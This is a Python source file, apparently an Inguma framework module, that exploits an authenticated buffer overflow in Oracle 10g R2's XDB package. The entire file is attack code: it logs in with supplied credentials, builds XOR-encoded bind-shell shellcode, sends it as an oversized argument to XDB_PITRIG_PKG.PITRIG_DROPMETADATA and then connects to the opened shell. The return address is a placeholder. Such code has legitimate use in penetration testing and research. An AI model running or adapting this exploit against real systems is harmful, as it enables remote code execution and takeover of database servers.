#!/usr/bin/python

##      COraXdbOverflow.py
#       
#       Copyright 2010 Joxean Koret <joxeankoret@yahoo.es>
#       
#       This program is free software; you can redistribute it and/or modify
#       it under the terms of the GNU General Public License as published by
#       the Free Software Foundation; either version 2 of the License, or
#       (at your option) any later version.
#       
#       This program is distributed in the hope that it will be useful,
#       but WITHOUT ANY WARRANTY; without even the implied warranty of
#       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#       GNU General Public License for more details.
#       
#       You should have received a copy of the GNU General Public License
#       along with this program; if not, write to the Free Software
#       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
#       MA 02110-1301, USA.

"""
Oracle 10g R2 XDB overflow exploit for Inguma
"""

import sys
import time
import socket
import cx_Oracle

from lib.libexploit import CIngumaModule, getShellcode, spawnTerminal,  bindShell, x86XorEncode, genString

name = "orabof1"
brief_description = "Oracle 10g R2 XDB Overflow POC"
type = "exploit"
affects = ["Oracle 10g R2 XDB Overflow"]
description = """
Oracle 10g R2 is vulnerable to a remote authenticated overflow.
"""

patch = "Fixed in CPUJAN2008"
category = "exploit"
discoverer = "So many..."
author = "Joxean Koret <joxeankoret@yahoo.es>"

globals = ["sid", "ostype", "payload", "listenPort", "command"]

class COraXdbOverflow(CIngumaModule):
    target = ""
    port = 1521
    waitTime = 0
    timeout = 1
    exploitType = 1
    services = {}
    results = {}
    dict = None
    interactive = True
    command = ""
    sid = ""
    listenPort = 4444
    ostype = 1
    payload = "bindshell"
    user = ""
    password = ""

    def run(self):
        if self.target == "" or self.target is None:
            self.target = "localhost"
        
        if self.port == 0 or self.port is None:
            self.port = 1521
        
        if self.ostype < 1:
            print "[+] No OS selected. Using Linux (ostype = 1)"
            self.ostype = 1
        
        if self.sid == "":
            print "[+] No sid selected, using ORCL"
            self.sid = "ORCL"

        if self.payload < 1:
            print "[+] No payload selected. Using 'bindshell' (payload = 2)"
            self.payload = 2
        
        if self.listenPort == 0:
            print "[+] No listen port selected, using 4444"
            self.listenPort = 4444

        link    = "%s/%s@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%d)))" % (self.user, self.password, self.target, self.port)
        link += "(CONNECT_DATA=(SERVICE_NAME=%s)))" % self.sid
        print link

        connection = cx_Oracle.connect(link)
        connection.rollback()
        connection.commit()
        cur = connection.cursor()

        adjustSize = 506
        sc = getShellcode("0.0.0.0", self.listenPort, self.ostype, self.payload)
        sc = x86XorEncode(sc)
        print "[+] Len of encoded shellcode is", len(sc)
        sc = chr(0x27)*(adjustSize-len(sc)) + sc

        addr = "BBBB"
        data = sc
        data += addr
        data += data + "\x27"*(len(data)-1024)

        cur.execute("BEGIN XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA(OWNER=>:1,NAME=>:2); END;", (data, data));

        print "[+] Exploit sended. Connecting to port", self.listenPort
        time.sleep(3)
        spawnTerminal("localhost", self.listenPort)

        return True

    def printSummary(self):
        pass
